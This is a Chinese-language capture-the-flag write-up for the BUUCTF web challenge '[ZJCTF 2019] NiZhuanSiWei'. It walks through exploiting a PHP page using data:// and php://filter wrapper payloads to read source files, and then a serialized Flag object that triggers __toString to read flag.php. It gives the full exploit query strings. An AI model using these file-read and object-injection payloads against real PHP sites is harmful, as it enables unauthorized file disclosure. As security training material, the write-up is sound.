1. 程式人生 > 實用技巧 >Buuctf-web-[ZJCTF 2019]NiZhuanSiWei

Buuctf-web-[ZJCTF 2019]NiZhuanSiWei

進入之後

然後我們看到了一個if

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求text不為空,並且file_get_contents($text,'r')==="welcome to the zjctf",從檔案裡讀取字串,還要和welcome to the zjctf相等。

data:// 寫入協議

於是構造第一個payload:

?text=data://text/plain,welcome to the zjctf

  

然後我們看到第二個if後面包含著一個unless.php。那我們直接訪問它,然後將裡面的資料給讀取出來

構造payload:

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

  

發現了一串base64,解碼

<?php  

class Flag{  //flag.php (題目原始碼註釋) 
    public $file;    
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);    //輸出檔案內容,通過這個函式讀取flag
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

  

最後我們需要反序列化password:,然後線上工具跑

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  

最終的payload為

?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  

檢視原始碼直接flag